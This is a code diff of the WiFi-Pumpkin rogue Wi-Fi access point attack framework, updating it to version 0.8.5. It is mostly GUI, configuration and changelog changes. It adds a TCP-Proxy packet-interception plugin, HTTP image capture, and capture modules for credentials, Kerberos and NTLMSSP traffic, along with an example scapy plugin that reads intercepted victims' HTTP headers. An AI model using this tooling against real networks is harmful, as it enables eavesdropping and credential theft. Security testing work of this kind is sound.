diff --git a/CHANGELOG b/CHANGELOG index 8a22756..bf31af7 100644 --- a/CHANGELOG +++ b/CHANGELOG @@ -1,3 +1,16 @@ +Version 0.8.5 +------------- +- added new plugin TCP-Proxy +- added capture image HTTP request (Tab ImageCap) +- added new HTTP-request widgets get info from Headers requests +- added new columm (url) on HTTP-Authentication +- added now WF allow to start without internet connection +- added option that exclude USB card on start +- added support to use 2 wireless cards #211 +- remove netcreds plugin thks for all DanMcInerney +- added Python DNS Server improvements #165 +- added new style in progressbar on home + Version 0.8.4 ------------- - added new plugin Pumpkin-Proxy (mitmproxy API) diff --git a/README.md b/README.md index ef7a2ee..d3108b2 100644 --- a/README.md +++ b/README.md @@ -40,11 +40,13 @@ refer to the wiki for [Installation](https://github.com/P0cL4bs/WiFi-Pumpkin/wik * Karma Attacks (support hostapd-mana) * LLMNR, NBT-NS and MDNS poisoner (Responder) * Pumpkin-Proxy (ProxyServer (mitmproxy API)) +* Capture images on the fly +* TCP-Proxy + ### Plugins | Plugin | Description | |:-----------|:------------| -[net-creds](https://github.com/DanMcInerney/net-creds) | Sniff passwords and hashes from an interface or pcap file [dns2proxy](https://github.com/LeonardoNve/dns2proxy) | This tools offer a different features for post-explotation once you change the DNS server to a Victim. [sslstrip2](https://github.com/LeonardoNve/sslstrip2) | Sslstrip is a MITM tool that implements Moxie Marlinspike's SSL stripping attacks based version fork @LeonardoNve/@xtr4nge. [sergio-proxy](https://github.com/supernothing/sergio-proxy) | Sergio Proxy (a Super Effective Recorder of Gathered Inputs and Outputs) is an HTTP proxy that was written in Python for the Twisted framework. @@ -114,6 +116,57 @@ class Nameplugin(PluginTemplate): #### About plugins [plugins](https://github.com/P0cL4bs/WiFi-Pumpkin/wiki/Plugins) on the wiki +#### TCP/UDP Proxy +A proxy that you can place between in a TCP stream. It filters the request and response streams with ([scapy](http://www.secdev.org/projects/scapy/) module) and actively modify packets of a TCP protocol that gets intercepted by WiFi-Pumpkin. this plugin uses modules to view or modify the intercepted data that possibly easiest implementation of a module, just add your custom module on "plugins/analyzers/" automatically will be listed on TCP/UDP Proxy tab. + +``` python +from scapy.all import * +from scapy_http import http # for layer HTTP +from default import PSniffer # base plugin class + +class ExamplePlugin(PSniffer): + _activated = False + _instance = None + meta = { + 'Name' : 'Example', + 'Version' : '1.0', + 'Description' : 'Brief description of the new plugin', + 'Author' : 'your name', + } + def __init__(self): + for key,value in self.meta.items(): + self.__dict__[key] = value + + @staticmethod + def getInstance(): + if ExamplePlugin._instance is None: + ExamplePlugin._instance = ExamplePlugin() + return ExamplePlugin._instance + + def filterPackets(self,pkt): # (pkt) object in order to modify the data on the fly + if pkt.haslayer(http.HTTPRequest): # filter only http request + + http_layer = pkt.getlayer(http.HTTPRequest) # get http fields as dict type + ip_layer = pkt.getlayer(IP)# get ip headers fields as dict type + + print http_layer.fields['Method'] # show method http request + # show all item in Header request http + for item in http_layer.fields['Headers']: + print('{} : {}'.format(item,http_layer.fields['Headers'][item])) + + print ip_layer.fields['src'] # show source ip address + print ip_layer.fields['dst'] # show destiny ip address + + print http_layer # show item type dict + print ip_layer # show item type dict + + return self.output.emit({'name_module':{'IP': ip_layer.fields, + 'Headers': http_layer.fields}}) + +``` +#### About TCP/UDP Proxy +[TCP/UDPProxy](https://github.com/P0cL4bs/WiFi-Pumpkin/wiki/TCP-UDPProxy) on the wiki + ### Screenshots [Screenshot](https://github.com/P0cL4bs/WiFi-Pumpkin/wiki/Screenshots) on the wiki diff --git a/core/config/app/config.ini b/core/config/app/config.ini index 6f16c39..4eb1ffb 100644 --- a/core/config/app/config.ini +++ b/core/config/app/config.ini @@ -14,11 +14,14 @@ hostapd_custom=false statusAP=false dhcpd_server=false pydhcp_server=true +pydns_server=true +dnsproxy_server=false channel=11 ssid=PumpAP interfaceAP=None sessions={} persistNetwokManager=false +checkConnectionWifi=true check_support_ap_mode=true enable_Security=false WPA_SharedKey=1234567890 @@ -73,16 +76,17 @@ range=10.0.0.20/10.0.0.50 [dockarea] advanced=true -dock_credencials=false +dock_credencials=true dock_urlmonitor=true dock_bdfproxy=false dock_dns2proxy=false dock_responder=false -dock_PumpkinProxy=true +dock_PumpkinProxy=false +dock_tcpproxy=true [plugins] noproxy=false -netcreds_plugin=true +tcpproxy_plugin=true dns2proxy_plugin=false sergioproxy_plugin=false bdfproxy_plugin=false diff --git a/core/config/app/tcpproxy.ini b/core/config/app/tcpproxy.ini new file mode 100644 index 0000000..bc061e6 --- /dev/null +++ b/core/config/app/tcpproxy.ini @@ -0,0 +1,9 @@ +[plugins] +emails=true +ftp=true +hexdump=true +imageCap=true +httpCap=true +summary=true +kerberos=true +NTLMSSP=true diff --git a/core/config/commits/Lcommits.cfg b/core/config/commits/Lcommits.cfg index 9e54cfc..3e35bea 100644 --- a/core/config/commits/Lcommits.cfg +++ b/core/config/commits/Lcommits.cfg @@ -1,4 +1,19 @@ master: +[ + { Version: '0.8.5'} + { changelog : 'added new plugin TCP-Proxy' }, + { changelog : 'added capture image HTTP request (Tab ImageCap)' }, + { changelog : 'added new HTTP-request widgets get info from Headers requests' }, + { changelog : 'added new columm (url) on HTTP-Authentication' }, + { changelog : 'added now WF allow to start without internet connection' }, + { changelog : 'added option that exclude USB card on start' }, + { changelog : 'added support to use 2 wireless cards #211' }, + { changelog : 'remove netcreds plugin thks for all DanMcInerney' }, + { changelog : 'added Python DNS Server improvements #165' }, + { changelog : 'added new style in progressbar on home' }, +] + +WiFiPumpkin084: [ { Version: '0.8.4'} { changelog : 'added new plugin Pumpkin-Proxy (mitmproxy API)' }, diff --git a/core/config/hostapd/hostapd+.conf b/core/config/hostapd/hostapd+.conf index a1f84a0..b9cd52e 100644 --- a/core/config/hostapd/hostapd+.conf +++ b/core/config/hostapd/hostapd+.conf @@ -17,7 +17,6 @@ driver=nl80211 #ignore_broadcast_ssid=0 #AP will broadcast SSID #macaddr_acl=0 #not use MAC address allow/deny list #auth_algs=1 #Shared Key Authentication -#ignore_broadcast_ssid=0 #AP will broadcast SSID ### hostapd event logger configuration #logger_syslog=127 diff --git a/core/helpers/about.py b/core/helpers/about.py index 1e2c4d7..1f0c7c2 100644 --- a/core/helpers/about.py +++ b/core/helpers/about.py @@ -38,7 +38,7 @@ def __init__(self,parent = None): self.formMode.addRow(QLabel('@mitmproxy')) self.formMode.addRow(QLabel('ProxyServer tranparent HTTP proxy
')) self.formMode.addRow(QLabel('@TimSchumi')) - self.formMode.addRow(QLabel('Debian package build for WiFi-Pumpkin
')) + self.formMode.addRow(QLabel('Debian package build and password improvements
')) self.formMode.addRow(QLabel('@psychomario')) self.formMode.addRow(QLabel('PyPXE class implements a DHCP Server
')) self.formMode.addRow(QLabel('@xtr4nge')) @@ -52,8 +52,6 @@ def __init__(self,parent = None): self.formMode.addRow(QLabel('Plugin Responder
')) self.formMode.addRow(QLabel('Ben Schmidt @supernothing')) self.formMode.addRow(QLabel('Plugin SergioProxy - bypass HSTS
')) - self.formMode.addRow(QLabel('Dan McInerney @danhmcinerney')) - self.formMode.addRow(QLabel('Plugin Netcreds - Sniffs sensitive data
')) self.formMode.addRow(QLabel('Yasin Uludag')) self.formMode.addRow(QLabel('theme1.qss - Qt dark orange stylesheet
')) self.formMode.addRow(QLabel('Colin Duquesnoy @ColinDuquesnoy')) @@ -118,7 +116,7 @@ def Qui_update(self): self.formAbout.addRow(QLabel('Feedback:')) self.formAbout.addRow(QLabel(self.emails[0])) self.formAbout.addRow(QLabel(self.emails[1]+'
')) - self.formAbout.addRow(QLabel('Copyright 2015-2016, '+self.author[:-14])) + self.formAbout.addRow(QLabel('Copyright 2015-2017, '+self.author[:-14])) self.gnu = QLabel('License: GNU General Public License Version
') self.gnu.linkActivated.connect(self.link) self.formAbout.addRow(self.gnu) diff --git a/core/helpers/report.py b/core/helpers/report.py index 178e3f9..2ed0db6 100644 --- a/core/helpers/report.py +++ b/core/helpers/report.py @@ -4,13 +4,16 @@ from PyQt4.QtWebKit import QWebView except Exception: QWebView_checker = False +from os import getcwd,listdir +from shutil import copyfile +from os import path,mkdir """ Description: This program is a module for wifi-pumpkin.py. Report FIles Logger PDF or HTML Copyright: - Copyright (C) 2015-2016 Marcos Nesster P0cl4bs Team + Copyright (C) 2015-2017 Marcos Nesster P0cl4bs Team This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or @@ -62,13 +65,35 @@ def convertIt(self,printer): self.ExportPDF.print_(printer) QMessageBox.information(self, 'WiFi Pumpkin Report PDF', 'file PDF has been generated successfully.') + def getImagesCapturedSession(self,session): + ''' find images by session for export ''' + list_images = [] + if session == '': + for image in listdir('logs/ImagesCap/'): + list_images.append('{}/logs/ImagesCap/{}'.format(getcwd(),image)) + return list_images + for image in listdir('logs/ImagesCap'): + if session in image: + list_images.append('{}/logs/ImagesCap/{}'.format(getcwd(),image)) + return list_images + + def ExportImagesCaptured(self,filename): + ''' get images captured on session and copy to folter images_captured ''' + if len(filename[0]) != 0: + pathdir = path.dirname(str(filename[0]))+'/images_captured/' + if self.files_images != []: + if not path.exists(pathdir): + mkdir(pathdir) + for file in self.files_images: + copyfile(file,pathdir+path.basename(file)) + def exportFilesSystem(self): # export HTML or pdf file all_unchecked = self.get_all_items_Unchecked() if not self.checkHTML.isChecked() and not self.checkPDF.isChecked(): return QMessageBox.warning(self, 'WiFi Pumpkin Options', 'You have to select a option file type for export.') - if len(all_unchecked.keys()) == 9: + if len(all_unchecked.keys()) == Refactor.exportHtml(all_unchecked,'')['Count']: return QMessageBox.warning(self, 'WiFi Pumpkin empty session', 'logger:ERROR Could not find log files.') @@ -80,6 +105,7 @@ def exportFilesSystem(self): [self.sessions[key]['started'],self.sessions[key]['stoped']],apname) sessions_activated = key break + self.files_images = self.getImagesCapturedSession(sessions_activated) if sessions_activated == '': contents = Refactor.exportHtml(all_unchecked,sessions_activated) @@ -102,6 +128,8 @@ def exportFilesSystem(self): printer.setOutputFileName(filename[0]) self.convertIt(printer) + self.ExportImagesCaptured(filename) + @pyqtSlot(QModelIndex) def combo_clicked(self, session): # get activated logger files diff --git a/core/helpers/update.py b/core/helpers/update.py index 8ed761b..44b3348 100644 --- a/core/helpers/update.py +++ b/core/helpers/update.py @@ -11,7 +11,7 @@ This program is a module for wifi-pumpkin.py. GUI update from github Copyright: - Copyright (C) 2015 Marcos Nesster P0cl4bs Team + Copyright (C) 2015-2017 Marcos Nesster P0cl4bs Team This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or @@ -174,10 +174,33 @@ def __init__(self, parent=None, total=0): font=QFont('White Rabbit') font.setPointSize(5) self.setFont(font) + self.effect = QGraphicsOpacityEffect(self) + self.setGraphicsEffect(self.effect) + self.animationIn = QPropertyAnimation(self.effect, 'opacity') + self.animationIn.setDuration(300) + self.animationIn.setStartValue(0) + self.animationIn.setEndValue(1.0) + self.animationIn.start() self._active = False self.setAlignment(Qt.AlignCenter) self._text = None + def hideProcessbar(self): + self.animationOut = QPropertyAnimation(self.effect, 'opacity') + self.animationOut.setDuration(300) + self.animationOut.setStartValue(1.0) + self.animationOut.setEndValue(0) + self.animationOut.start() + self.animationOut.finished.connect(self.hide) + + def showProcessBar(self): + self.animationIn = QPropertyAnimation(self.effect, 'opacity') + self.animationIn.setDuration(300) + self.animationIn.setStartValue(0) + self.animationIn.setEndValue(1.0) + self.animationIn.start() + self.show() + def setText(self, text): self._text = text diff --git a/core/loaders/checker/check_depen.py b/core/loaders/checker/depedences.py similarity index 100% rename from core/loaders/checker/check_depen.py rename to core/loaders/checker/depedences.py diff --git a/core/loaders/checker/networkmanager.py b/core/loaders/checker/networkmanager.py new file mode 100755 index 0000000..78582bd --- /dev/null +++ b/core/loaders/checker/networkmanager.py @@ -0,0 +1,188 @@ +from PyQt4.QtGui import * +from subprocess import Popen +from core.utils import Refactor +from core.main import Initialize +from core.utility.settings import frm_Settings +from core.widgets.notifications import ServiceNotify +""" +Description: + This program is a core for modules wifi-pumpkin.py. file which includes all Implementation + for exclude network manager card. + +Copyright: + Copyright (C) 2015-2017 Marcos Nesster P0cl4bs Team + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see +""" + +class UI_NetworkManager(QWidget): + def __init__(self, parent = None): + super(UI_NetworkManager, self).__init__(parent) + self.label = QLabel() + self.Main = QVBoxLayout() + self.config = frm_Settings() + self.setGeometry(0, 0, 300, 120) + self.setWindowTitle('Checking Connection') + self.loadtheme(self.config.XmlThemeSelected()) + self.center() + self.UI() + + def closeEvent(self, event): + print('Loading GUI...') + app = Initialize() + app.setWindowIcon(QIcon('icons/icon.ico')) + if self.check_no_internet.isChecked: + app.form_widget.InternetShareWiFi = False # show window without internet connection + app.center() + app.show() + print('WiFi-Pumpkin Running!') + + def loadtheme(self,theme): + sshFile=('core/%s.qss'%(theme)) + with open(sshFile,"r") as fh: + self.setStyleSheet(fh.read()) + + def center(self): + frameGm = self.frameGeometry() + centerPoint = QDesktopWidget().availableGeometry().center() + frameGm.moveCenter(centerPoint) + self.move(frameGm.topLeft()) + + def statusInetrnet(self,bool): + if bool: + self.statusLabel.setText("[ON]") + self.statusLabel.setStyleSheet("QLabel { color : green; }") + else: + self.statusLabel.setText("[OFF]") + self.statusLabel.setStyleSheet("QLabel { color : red; }") + + def getstatus_checkbox(self): + if self.check_no_internet.isChecked(): + return self.btn_start.setEnabled(True) + self.btn_start.setEnabled(False) + + def get_interfaceConnected(self): + self.networkManager = CLI_NetworkManager() + if self.networkManager.isWiFiConnected(): + self.cb_ifaces.addItem(self.networkManager.getInterfaceDefault()) + self.statusInetrnet(True) + self.btn_start.setEnabled(True) + self.check_no_internet.setEnabled(False) + + def startGUI(self): + self.btn_start.setEnabled(False) + self.close() + + def UI(self): + self.widget = QWidget() + self.statusBar = QStatusBar() + self.layout = QVBoxLayout(self.widget) + self.statusLabel = QLabel() + self.statusInetrnet(False) + self.statusBar.setFixedHeight(20) + self.statusBar.addWidget(QLabel('Status Connection::')) + self.statusBar.addWidget(self.statusLabel) + + self.groupBoxIface = QGroupBox() + self.components = QHBoxLayout() + self.compostart = QHBoxLayout() + self.checkboxlayout = QFormLayout() + self.btn_refrash = QPushButton('Refresh') + self.btn_start = QPushButton('Start GUI..') + self.cb_ifaces = QComboBox() + self.check_no_internet = QCheckBox('Start without connection.') + + self.check_no_internet.clicked.connect(self.getstatus_checkbox) + self.btn_refrash.clicked.connect(self.get_interfaceConnected) + self.btn_start.clicked.connect(self.startGUI) + self.groupBoxIface.setTitle('Interface/Wireless') + self.btn_refrash.setIcon(QIcon('icons/refresh.png')) + self.btn_start.setIcon(QIcon('icons/start.png')) + self.btn_start.setEnabled(False) + self.compostart.addStretch(1) + self.compostart.addWidget(self.btn_start) + self.groupBoxIface.setLayout(self.components) + self.components.addWidget(self.cb_ifaces) + self.components.addWidget(self.btn_refrash) + self.checkboxlayout.addWidget(self.check_no_internet) + + self.infor = ServiceNotify('Click the "Refresh" for try detect your connection.', + title='Attention',link=None,timeout=30000) + self.layout.addWidget(self.infor) + self.layout.addWidget(self.groupBoxIface) + self.layout.addLayout(self.checkboxlayout) + self.layout.addLayout(self.compostart) + self.layout.addWidget(self.statusBar) + self.Main.addWidget(self.widget) + self.setLayout(self.Main) + + +class CLI_NetworkManager(object): + ''' exclude USB card on startup 1.0''' + def __init__(self,parent = None): + super(CLI_NetworkManager, self).__init__() + self.interfaces = Refactor.get_interfaces() + self.mn_path = '/etc/NetworkManager/NetworkManager.conf' + self.ifaceAvaliable = [] + self.flag = 0 + + def isWiFiConnected(self): + ''' check if interface default is type wireless ''' + if self.interfaces['activated'][1] == 'wireless': + return True + return False + + def getInterfaceDefault(self): + return self.interfaces['activated'][0] + + def remove_settingsNM(self): + ''' remove all wireless from Network-Manager.conf ''' + if self.get_ifacesAllWireless(): + for interface in self.ifaceAvaliable: + Refactor.settingsNetworkManager(interface,Remove=True) + + def get_ifacesAllWireless(self): + ''' get only wireless interface ''' + if self.isWiFiConnected(): + for iface in self.interfaces['all']: + if iface[:2] in ['wl', 'wi', 'ra', 'at']: + if iface != self.interfaces['activated'][0]: + self.ifaceAvaliable.append(iface) + return True + return False + + def check_interfaceinNetWorkManager(self,interface): + ''' check if interface is already in file config''' + mac = Refactor.get_interface_mac(interface) + if mac in open(self.mn_path,'r').read(): + return True + if interface in open(self.mn_path,'r').read(): + return True + return False + + def run(self): + if self.get_ifacesAllWireless(): + if self.ifaceAvaliable != []: + for interface in self.ifaceAvaliable: + if not self.check_interfaceinNetWorkManager(interface): + Refactor.settingsNetworkManager(interface) + self.flag = 1 + if self.flag: + Refactor.kill_procInterfaceBusy() + Popen(['service', 'network-manager', 'restart']) + return True + return False + + + + diff --git a/core/loaders/models/PackagesUI.py b/core/loaders/models/PackagesUI.py index ed46f84..fb6179f 100644 --- a/core/loaders/models/PackagesUI.py +++ b/core/loaders/models/PackagesUI.py @@ -7,6 +7,28 @@ from modules.servers.PhishingManager import frm_PhishingManager from core.utility.threads import ThreadPopen,ThreadScan,ProcessThread,ThreadFastScanIP from core.packets.network import ThARP_posion,ThSpoofAttack + +""" +Description: + This program is a core for modules wifi-pumpkin.py. file which includes all Implementation + default widgets. + +Copyright: + Copyright (C) 2015-2017 Marcos Nesster P0cl4bs Team + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see +""" + class PumpkinModule(QWidget): ''' this is Qwidget Module base ''' def __init__(self,parent=None,*args): diff --git a/core/main.py b/core/main.py index 3e874cb..f8b5544 100644 --- a/core/main.py +++ b/core/main.py @@ -30,7 +30,7 @@ ) from core.widgets.tabmodels import ( ProxySSLstrip,PumpkinMitmproxy,PumpkinMonitor, - PumpkinSettings + PumpkinSettings,PacketsSniffer,ImageCapture ) from core.widgets.popupmodels import ( @@ -54,6 +54,7 @@ from core.widgets.notifications import ServiceNotify from isc_dhcp_leases.iscdhcpleases import IscDhcpLeases from netfilterqueue import NetfilterQueue +from core.servers.proxy.tcp.intercept import ThreadSniffingPackets """ Description: @@ -61,7 +62,7 @@ for mount Access point. Copyright: - Copyright (C) 2015-2016 Marcos Nesster P0cl4bs Team + Copyright (C) 2015-2017 Marcos Nesster P0cl4bs Team This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or @@ -80,8 +81,8 @@ author = 'Marcos Nesster (@mh4x0f) P0cl4bs Team' emails = ['mh4root@gmail.com','p0cl4bs@gmail.com'] license = ' GNU GPL 3' -version = '0.8.4' -update = '22/12/2016' # This is Brasil :D +version = '0.8.5' +update = '04/05/2017' # This is Brasil :D desc = ['Framework for Rogue Wi-Fi Access Point Attacks'] class Initialize(QMainWindow): @@ -150,6 +151,7 @@ class WifiPumpkin(QWidget): def __init__(self, parent = None,window=None,Fsettings=None): self.InitialMehtod = window super(WifiPumpkin, self).__init__(parent) + self.InternetShareWiFi = True # share internet options # check update from github repository self.Timer = waiterSleepThread() @@ -167,6 +169,8 @@ def __init__(self, parent = None,window=None,Fsettings=None): self.Tab_Default = QWidget() self.Tab_Injector = QWidget() self.Tab_PumpkinPro = QWidget() + self.Tab_Packetsniffer = QWidget() + self.Tab_imageCap = QWidget() self.Tab_Settings = QWidget() self.Tab_ApMonitor = QWidget() self.Tab_Plugins = QWidget() @@ -212,6 +216,18 @@ def __init__(self, parent = None,window=None,Fsettings=None): self.item_pumpkinProxy.setIcon(QIcon('icons/pumpkinproxy.png')) self.TabListWidget_Menu.addItem(self.item_pumpkinProxy) + self.item_packetsniffer = QListWidgetItem() + self.item_packetsniffer.setText('TCP-Proxy') + self.item_packetsniffer.setSizeHint(QSize(30,30)) + self.item_packetsniffer.setIcon(QIcon('icons/tcpproxy.png')) + self.TabListWidget_Menu.addItem(self.item_packetsniffer) + + self.item_imageCapture = QListWidgetItem() + self.item_imageCapture.setText('Images-Cap') + self.item_imageCapture.setSizeHint(QSize(30,30)) + self.item_imageCapture.setIcon(QIcon('icons/image.png')) + self.TabListWidget_Menu.addItem(self.item_imageCapture) + self.item_dock = QListWidgetItem() self.item_dock.setText('Activity-Monitor') self.item_dock.setSizeHint(QSize(30,30)) @@ -242,12 +258,16 @@ def __init__(self, parent = None,window=None,Fsettings=None): self.ContentTabsettings= QVBoxLayout(self.Tab_Settings) self.ContentTabInject = QVBoxLayout(self.Tab_Injector) self.ContentTabPumpPro = QVBoxLayout(self.Tab_PumpkinPro) + self.ContentTabPackets = QVBoxLayout(self.Tab_Packetsniffer) + self.ContentImageCap = QHBoxLayout(self.Tab_imageCap) self.ContentTabMonitor = QVBoxLayout(self.Tab_ApMonitor) self.ContentTabPlugins = QVBoxLayout(self.Tab_Plugins) self.Stack.addWidget(self.Tab_Settings) self.Stack.addWidget(self.Tab_Plugins) self.Stack.addWidget(self.Tab_Injector) self.Stack.addWidget(self.Tab_PumpkinPro) + self.Stack.addWidget(self.Tab_Packetsniffer) + self.Stack.addWidget(self.Tab_imageCap) self.Stack.addWidget(self.Tab_dock) self.Stack.addWidget(self.Tab_ApMonitor) @@ -258,12 +278,10 @@ def __init__(self, parent = None,window=None,Fsettings=None): 'HTTP-Requests': { # netcreds url requests 'active' : self.FSettings.Settings.get_setting('dockarea', 'dock_urlmonitor',format=bool), - 'splitcode': ':[url]', }, 'HTTP-Authentication': { # netcreds passwords logins 'active' : self.FSettings.Settings.get_setting('dockarea', 'dock_credencials',format=bool), - 'splitcode': ':[creds]', }, 'BDFProxy': { # plugins bdfproxy ouput 'active' : self.FSettings.Settings.get_setting('dockarea', @@ -282,7 +300,7 @@ def __init__(self, parent = None,window=None,Fsettings=None): 'dock_PumpkinProxy',format=bool), } } - self.ConfigTwin = { + self.SettingsEnable = { 'ProgCheck':[],'AP_iface': None,'PortRedirect': None, 'interface':'None'} self.THeaders = OrderedDict([ ('Devices',[]),('Mac Address',[]),('IP Address',[]),('Vendors',[])]) # load all session saved in file ctg @@ -291,7 +309,6 @@ def __init__(self, parent = None,window=None,Fsettings=None): self.PopUpPlugins = PopUpPlugins(self.FSettings,self) # create popupPlugins self.PopUpPlugins.sendSingal_disable.connect(self.get_disable_proxy_status) self.THReactor = ThreadReactor() # thread reactor for sslstrip - self.checkPlugins() # check plugins activated self.intGUI() def get_disable_proxy_status(self,status): @@ -332,6 +349,16 @@ def PumpkinProxyTABContent(self): self.PumpkinProxyTAB = PumpkinMitmproxy(main_method=self) self.ContentTabPumpPro.addLayout(self.PumpkinProxyTAB) + def TCPproxyTABContent(self): + ''' add Layout page PumpkinProxy in dashboard ''' + self.PacketSnifferTAB = PacketsSniffer(main_method=self) + self.ContentTabPackets.addLayout(self.PacketSnifferTAB) + + def ImageCaptureTABContent(self): + ''' add Layout page PumpkinProxy in dashboard ''' + self.ImageCapTAB = ImageCapture(main_method=self) + self.ContentImageCap.addLayout(self.ImageCapTAB) + def getContentTabDock(self,docklist): ''' get tab activated in Advanced mode ''' self.dockAreaList = docklist @@ -350,7 +377,9 @@ def ApMonitorTabContent(self): def SettingsTABContent(self): ''' add Layout page Pump-settings in dashboard ''' - self.PumpSettingsTAB = PumpkinSettings(None,self.slipt,self.AreaDockInfo,self.Tab_dock,self.FSettings) + widgets = {'SettingsAP': self.slipt, 'DockInfo': self.AreaDockInfo, + 'Tab_dock': self.Tab_dock, 'Settings': self.FSettings,'Network': self.GroupAdapter} + self.PumpSettingsTAB = PumpkinSettings(None,widgets) self.PumpSettingsTAB.checkDockArea.connect(self.getContentTabDock) self.PumpSettingsTAB.sendMensage.connect(self.GetmessageSave) self.ContentTabsettings.addLayout(self.PumpSettingsTAB) @@ -369,17 +398,18 @@ def DefaultTABContent(self): self.StatusApname = QLabel('') self.StatusApchannel = QLabel('') self.proxy_lstatus = QLabel('[OFF]') + self.connected_status = QLabel('') self.StatusApname.setMaximumWidth(130) # add widgets in status bar + self.StatusBar.addWidget(QLabel('Connected:')) + self.StatusBar.addWidget(self.connected_status) self.StatusBar.addWidget(QLabel('SSID:')) self.StatusBar.addWidget(self.StatusApname) self.StatusBar.addWidget(QLabel('Channel:')) self.StatusBar.addWidget(self.StatusApchannel) - self.StatusBar.addWidget(QLabel("Access-Point:")) + self.StatusBar.addWidget(QLabel("Status-AP:")) self.StatusBar.addWidget(self.StatusDhcp) - self.StatusBar.addWidget(QLabel('Injector-Proxy:')) - self.StatusBar.addWidget(self.proxy_lstatus) self.StatusBar.addWidget(QLabel('Activate-Plugin:')) self.StatusBar.addWidget(self.status_plugin_proxy_name) self.set_proxy_scripts(False) @@ -402,6 +432,7 @@ def DefaultTABContent(self): self.EditChannel.setFixedWidth(50) self.EditApName.setFixedWidth(120) self.EditGateway.setFixedWidth(120) + self.EditGateway.setHidden(True) # disable Gateway self.selectCard = QComboBox(self) self.EditApName.textChanged.connect(self.setAP_name_changer) self.EditChannel.valueChanged.connect(self.setAP_channel_changer) @@ -450,9 +481,10 @@ def DefaultTABContent(self): # group for list network adapters self.GroupAdapter = QGroupBox() - self.layoutNetworkAd = QFormLayout() + self.layoutNetworkAd = QHBoxLayout() self.GroupAdapter.setTitle('Network Adapter') - self.layoutNetworkAd.addRow(self.selectCard,self.btrn_refresh) + self.layoutNetworkAd.addWidget(self.selectCard) + self.layoutNetworkAd.addWidget(self.btrn_refresh) self.GroupAdapter.setLayout(self.layoutNetworkAd) # settings info access point @@ -461,7 +493,6 @@ def DefaultTABContent(self): self.FormGroup3.addRow('Gateway:', self.EditGateway) self.FormGroup3.addRow('SSID:', self.EditApName) self.FormGroup3.addRow('Channel:', self.EditChannel) - self.FormGroup3.addRow(self.GroupAdapter) self.GroupAP.setLayout(self.FormGroup3) self.GroupAP.setFixedWidth(260) @@ -516,7 +547,7 @@ def DefaultTABContent(self): self.donatelink = 'https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=PUPJEGHLJPFQL' self.donateLabel = ServiceNotify('Donations allow us to devote more time to the project so' ' if you are able to donate any amount. click ',title='Attention', - link=self.donatelink,timeout=15000) + link=self.donatelink,timeout=20000) # set main page Tool self.widget = QWidget() self.layout = QVBoxLayout(self.widget) @@ -530,9 +561,12 @@ def intGUI(self): self.DefaultTABContent() self.InjectorTABContent() self.PumpkinProxyTABContent() + self.TCPproxyTABContent() + self.ImageCaptureTABContent() self.SettingsTABContent() self.ApMonitorTabContent() self.PluginsTABContent() + self.checkPlugins() # check plugins activated self.myQMenuBar = QMenuBar(self) self.myQMenuBar.setFixedWidth(400) @@ -778,8 +812,9 @@ def CheckStatusWPASecurity(self): def checkPlugins(self): ''' check plugin options saved in file ctg ''' - if self.FSettings.Settings.get_setting('plugins','netcreds_plugin',format=bool): - self.PopUpPlugins.check_netcreds.setChecked(True) + if self.FSettings.Settings.get_setting('plugins','tcpproxy_plugin',format=bool): + self.PopUpPlugins.check_tcpproxy.setChecked(True) + self.PopUpPlugins.checkBoxTCPproxy() if self.FSettings.Settings.get_setting('plugins','responder_plugin',format=bool): self.PopUpPlugins.check_responder.setChecked(True) @@ -831,6 +866,14 @@ def set_proxy_scripts(self,bool): self.proxy_lstatus.setText("[OFF]") self.proxy_lstatus.setStyleSheet("QLabel { color : red; }") + def set_StatusConnected_Iface(self,bool,txt=''): + if bool: + self.connected_status.setText(txt) + self.connected_status.setStyleSheet("QLabel { background-color: #996633; color : #000000; }") + else: + self.connected_status.setText('None') + self.connected_status.setStyleSheet("QLabel { background-color: #808080; color : #000000; }") + def StatusDHCPRequests(self,mac,user_info): ''' get HDCP request data and send for Tab monitor ''' return self.PumpMonitorTAB.addRequests(mac,user_info,True) @@ -938,7 +981,7 @@ def mConfigure(self): except Exception :pass self.EditApName.setText(self.FSettings.Settings.get_setting('accesspoint','ssid')) self.EditChannel.setValue(self.FSettings.Settings.get_setting('accesspoint','channel',format=int)) - self.ConfigTwin['PortRedirect'] = self.FSettings.redirectport.text() + self.SettingsEnable['PortRedirect'] = self.FSettings.redirectport.text() # get all Wireless Adapter available and add in comboBox interfaces = self.get_interfaces['all'] @@ -947,6 +990,13 @@ def mConfigure(self): if search('wl', iface): wireless.append(iface) self.selectCard.addItems(wireless) + + if self.get_interfaces['activated'][0]: + self.set_StatusConnected_Iface(True,self.get_interfaces['activated'][0]) + else: + self.InternetShareWiFi = False + self.set_StatusConnected_Iface(False,'') + interface = self.FSettings.Settings.get_setting('accesspoint','interfaceAP') if interface != 'None' and interface in self.get_interfaces['all']: self.selectCard.setCurrentIndex(wireless.index(interface)) @@ -957,7 +1007,7 @@ def mConfigure(self): hostapd = popen('which hostapd').read().split("\n") xterm = popen('which xterm').read().split("\n") lista = [ '', '',driftnet[0],dhcpd[0],'',hostapd[0],xterm[0]] - for i in lista:self.ConfigTwin['ProgCheck'].append(path.isfile(i)) + for i in lista:self.SettingsEnable['ProgCheck'].append(path.isfile(i)) def refrash_interface(self): @@ -977,10 +1027,6 @@ def Stop_PumpAP(self): self.SessionsAP[self.currentSessionID]['stoped'] = asctime() self.FSettings.Settings.set_setting('accesspoint','sessions',dumps(self.SessionsAP)) # check if dockArea activated and stop dock Area - if hasattr(self,'dockAreaList'): - for dock in 